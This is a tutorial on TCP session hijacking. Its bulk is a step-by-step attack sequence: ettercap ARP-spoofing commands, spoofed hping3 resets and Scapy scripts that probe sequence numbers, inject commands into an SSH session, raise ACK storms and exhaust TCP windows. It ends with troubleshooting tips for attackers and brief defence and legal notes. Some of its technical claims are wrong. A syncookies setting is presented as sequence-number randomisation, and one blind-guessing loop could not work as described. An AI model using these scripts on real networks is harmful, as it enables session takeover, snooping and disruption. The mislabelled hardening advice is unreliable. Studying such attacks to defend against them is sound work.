TCP Session Hijacking

Understanding TCP Session Hijacking - Connection Takeover Attacks

What is TCP Session Hijacking?

Simple Definition: TCP session hijacking is an attack where an attacker takes control of an established TCP connection between two systems by predicting or manipulating sequence numbers, allowing them to inject commands or steal data from the hijacked session.

Technical Definition: TCP session hijacking exploits the stateful nature of TCP connections by predicting or manipulating sequence and acknowledgment numbers to inject packets into established sessions, enabling attackers to impersonate legitimate clients or servers and execute unauthorized commands within hijacked connections.

Why TCP Session Hijacking Works

TCP session hijacking succeeds due to protocol design limitations and implementation weaknesses:

  • Predictable Sequence Numbers: Some systems generate TCP sequence numbers using predictable algorithms
  • No Encryption: Unencrypted TCP sessions expose sequence numbers in packet headers
  • Trust-Based Authentication: Many applications rely solely on IP addresses for authentication
  • Session State Confusion: Conflicting sequence numbers can confuse session state tracking

Attack Process Breakdown

Normal TCP Connection

  1. Three-Way Handshake: Client and server establish connection with synchronized sequence numbers
  2. Data Exchange: Parties exchange data using incrementing sequence numbers
  3. Session Maintenance: TCP maintains connection state with sequence/acknowledgment tracking
  4. Connection Termination: Orderly closure with FIN/ACK handshake

Session Hijacking Attack

  1. Connection Analysis: Monitor existing TCP connection to understand sequence numbers
  2. Sequence Prediction: Determine next expected sequence number for target session
  3. Packet Injection: Craft packets with correct sequence numbers to inject into session
  4. Session Control: Execute commands or extract data through hijacked connection
  5. Desynchronization: Original parties lose session synchronization

Real-World Impact

Administrative Access: Hijack SSH or Telnet sessions to gain system administration privileges

Database Manipulation: Take control of database connections to modify or extract sensitive data

Application Control: Inject commands into web application sessions to bypass authentication

Financial Transaction Manipulation: Alter banking or e-commerce transactions in progress

Corporate Espionage: Monitor and manipulate business-critical communications

Technical Concepts

TCP Sequence Numbers

Initial Sequence Numbers (ISN): Random 32-bit values chosen at connection establishment Sequence Number Space: 32-bit counter that wraps around after 4,294,967,296 Acknowledgment Numbers: Confirm receipt of data and indicate next expected sequence

Sequence Number Prediction

Linear Increment: Some systems increment ISN by fixed amounts Time-Based Generation: ISN based on system clock or timer values Weak Random Generation: Insufficient entropy in sequence number selection

TCP State Management

Connection States: ESTABLISHED, FIN_WAIT, CLOSE_WAIT, etc. Window Management: Flow control through advertised window sizes Retransmission Logic: Duplicate sequence numbers trigger retransmissions

Technical Implementation

Prerequisites

Network Requirements:

  • Access to network segment with target TCP connections
  • Ability to monitor or predict TCP sequence numbers
  • Understanding of target application protocols

Essential Tools:

  • Ettercap: Connection hijacking and manipulation
  • Hunt: TCP session hijacking toolkit
  • Hping3: Custom TCP packet crafting
  • Scapy: Advanced packet manipulation

Essential Command Sequence

Step 1: Target Connection Discovery

# Identify active TCP connections
netstat -tn | grep ESTABLISHED
# Shows established TCP connections
# Reveals source/destination IPs and ports
# Identifies potential hijacking targets

# Monitor network connections
tcpdump -i eth0 -n 'tcp and port 22'
# Captures SSH traffic for analysis
# Shows sequence numbers and connection state
# Helps identify session timing patterns

# Scan for interesting services
nmap -sS -p 21,22,23,80,443,3389 192.168.1.0/24
# Identifies services that use persistent connections
# SSH, Telnet, FTP, HTTP sessions are good targets
# Focus on unencrypted protocols when possible

Purpose: Identify established TCP connections that are suitable targets for hijacking attempts.

Step 2: Sequence Number Analysis

# Capture target connection packets
tcpdump -i eth0 -s 0 -x 'host 192.168.1.100 and port 22'
# -s 0: Capture full packets
# -x: Show packet contents in hex
# Reveals sequence numbers for analysis

# Analyze sequence number patterns
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' | \
    awk '{print $3}' | cut -d: -f2 | head -20
# Extracts sequence numbers from SYN packets
# Look for patterns in ISN generation
# Identifies predictable sequence number algorithms

Sequence Number Prediction Testing:

#!/usr/bin/env python3
from scapy.all import *
import time

def analyze_isn_patterns(target_ip, target_port):
    """Analyze Initial Sequence Number patterns"""
    sequences = []
    
    for i in range(10):
        # Send SYN packet and capture response
        syn = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
        response = sr1(syn, timeout=2)
        
        if response and response.haslayer(TCP):
            isn = response[TCP].seq
            sequences.append(isn)
            print(f"ISN {i+1}: {isn}")
        
        time.sleep(1)
    
    # Analyze patterns
    differences = [sequences[i+1] - sequences[i] for i in range(len(sequences)-1)]
    print(f"Differences: {differences}")
    
    return sequences

# Test sequence number predictability
analyze_isn_patterns("192.168.1.100", 22)

Step 3: Connection State Monitoring

Using Ettercap for Session Analysis:

# Monitor TCP connections for hijacking opportunities
ettercap -T -M arp:remote /192.168.1.100// /192.168.1.200//
# -T: Text mode interface
# -M arp: ARP spoofing for man-in-the-middle
# Positions attacker to monitor TCP sessions

# Alternative: Passive monitoring without MitM
ettercap -T -M none
# Passive mode to monitor local network traffic
# Less intrusive but limited to broadcast domain
# Use when stealth is more important than positioning

Manual Session Monitoring:

# Track specific connection state
tcpdump -i eth0 -n -c 100 'host 192.168.1.100 and host 192.168.1.200 and port 22' | \
    grep -E "seq|ack" | \
    awk '{print $1, $3, $4, $6, $8}'
# Extracts timestamp, source, destination, sequence, acknowledgment
# Builds timeline of connection state changes
# Identifies synchronization windows for attacks

Step 4: Session Hijacking Execution

Basic TCP Reset Attack (Session Termination):

# Terminate existing connection
hping3 -c 1 -R -p 22 -s 12345 -M 1000000000 -L 2000000000 192.168.1.100
# -R: Reset flag
# -M: Sequence number
# -L: Acknowledgment number
# Terminates target connection

# Monitor for connection termination
tcpdump -i eth0 'tcp[tcpflags] & tcp-rst != 0'
# Watches for RST packets
# Confirms successful connection termination

Advanced Session Hijacking with Hunt:

# Launch Hunt session hijacking tool
hunt
# Interactive menu-driven interface
# Options for connection monitoring and hijacking
# Provides guided session takeover process

# Within Hunt interface:
# 1. List active connections
# 2. Select target connection
# 3. Choose hijacking method (synchronize/desynchronize)
# 4. Inject commands into hijacked session

Manual Command Injection:

#!/usr/bin/env python3
from scapy.all import *

def hijack_ssh_session(target_ip, target_port, seq_num, ack_num):
    """Inject command into SSH session"""
    
    # Craft packet with predicted sequence numbers
    hijack_packet = IP(dst=target_ip)/\
                   TCP(dport=target_port, flags="PA", 
                       seq=seq_num, ack=ack_num)/\
                   "whoami\n"
    
    # Send hijacked packet
    send(hijack_packet)
    print(f"Injected command into session")

# Example usage (requires accurate sequence numbers)
hijack_ssh_session("192.168.1.100", 22, 1234567890, 987654321)

Step 5: Session Desynchronization

# Desynchronize original client
hping3 -c 1 -R -p 22 -s 12345 -a 192.168.1.200 192.168.1.100
# -a: Spoof source address as legitimate client
# Resets connection from client perspective
# Leaves server connection open for attacker control

# Maintain hijacked session
# Continue sending packets with correct sequence numbers
# Keep session alive while original client is disconnected

Attack Variations

Blind Session Hijacking

# Predict sequence numbers without monitoring
# Requires understanding of target's ISN algorithm
# Higher difficulty but avoids detection

# Test multiple sequence number guesses
for seq in {1000000000..1000001000..100}; do
    hping3 -c 1 -S -p 22 -M $seq 192.168.1.100 &
done
# Systematic sequence number guessing
# Look for responses indicating correct guess

ACK Storm Exploitation

#!/usr/bin/env python3
from scapy.all import *

def create_ack_storm(target1, target2, port):
    """Create ACK storm between two hosts"""
    
    # Send packet to each host with other's address
    packet1 = IP(src=target2, dst=target1)/TCP(dport=port, flags="A", seq=0)
    packet2 = IP(src=target1, dst=target2)/TCP(dport=port, flags="A", seq=0)
    
    # Rapid alternating packets create storm
    for i in range(100):
        send(packet1)
        send(packet2)

# Causes both hosts to acknowledge packets
# Creates feedback loop of ACK packets
# Can cause resource exhaustion

Connection Splicing

# Splice attacker into existing connection
# Requires precise timing and sequence prediction
# Allows attacker to become part of conversation

# Step 1: Desynchronize one endpoint
# Step 2: Establish new connection with other endpoint
# Step 3: Relay traffic while injecting commands

Common Issues and Solutions

Problem: Cannot predict sequence numbers accurately

  • Solution: Increase sampling size, analyze different connection states, focus on weaker implementations

Problem: Packets rejected due to window violations

  • Solution: Monitor TCP window sizes, ensure packets fall within advertised windows

Problem: Application-layer encryption prevents useful hijacking

  • Solution: Target unencrypted protocols, focus on connection metadata manipulation

Problem: Connection resets immediately after injection

  • Solution: Improve sequence number accuracy, handle acknowledgment numbers properly

Advanced Techniques

TCP Window Manipulation

#!/usr/bin/env python3
from scapy.all import *

def window_exhaustion_attack(target_ip, target_port):
    """Exhaust TCP window to prevent legitimate traffic"""
    
    # Send data to fill receiver's window
    for i in range(100):
        packet = IP(dst=target_ip)/\
                TCP(dport=target_port, flags="PA", 
                    seq=1000000+i*1460)/\
                ("X" * 1460)  # Maximum segment size
        send(packet)

# Fills receiver buffer to prevent legitimate data
# Can be used to pause session for hijacking setup

Multi-Connection Hijacking

# Coordinate attacks against multiple connections
# Hijack related sessions simultaneously
# More complex but provides comprehensive control

# Example: Hijack both HTTP and database connections
# Allows complete application-level compromise

Timing-Based Prediction

#!/usr/bin/env python3
import time
from scapy.all import *

def timing_based_prediction(target_ip, target_port, samples=20):
    """Predict sequence numbers based on timing"""
    
    timestamps = []
    sequences = []
    
    for i in range(samples):
        start_time = time.time()
        syn = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
        response = sr1(syn, timeout=2)
        
        if response:
            timestamps.append(start_time)
            sequences.append(response[TCP].seq)
    
    # Analyze correlation between time and sequence
    # Some systems use time-based sequence generation
    return zip(timestamps, sequences)

Detection and Prevention

Detection Indicators

  • Duplicate sequence numbers from different sources
  • TCP reset packets without corresponding connection state
  • Unusual patterns in sequence number increments
  • ACK storms between legitimate hosts
  • Application-layer authentication bypassed with valid sessions

Prevention Measures

Protocol Security:

  • Use encrypted protocols (SSH, HTTPS, TLS)
  • Implement strong TCP sequence number generation
  • Deploy application-layer authentication beyond IP-based trust

Network Security:

# Enable TCP sequence number randomization
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Configure connection tracking
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Monitoring and Detection:

  • Monitor for TCP RST anomalies
  • Detect sequence number prediction attempts
  • Implement connection state monitoring
  • Deploy network intrusion detection systems

Professional Context

Legitimate Use Cases

  • Security Assessment: Testing TCP session security and implementation strength
  • Network Troubleshooting: Understanding connection state issues
  • Protocol Research: Analyzing TCP security mechanisms
  • Incident Response: Investigating session hijacking attacks

Legal and Ethical Requirements

Authorization: Session hijacking can compromise sensitive communications - explicit written permission essential

Scope Definition: Clearly identify which connections and systems are in-scope for testing

Data Protection: Hijacked sessions may expose sensitive information requiring careful handling

Impact Assessment: Document potential for unauthorized system access and data exposure


TCP session hijacking attacks demonstrate fundamental weaknesses in connection-oriented protocols and highlight the critical importance of encryption and strong authentication in network communications.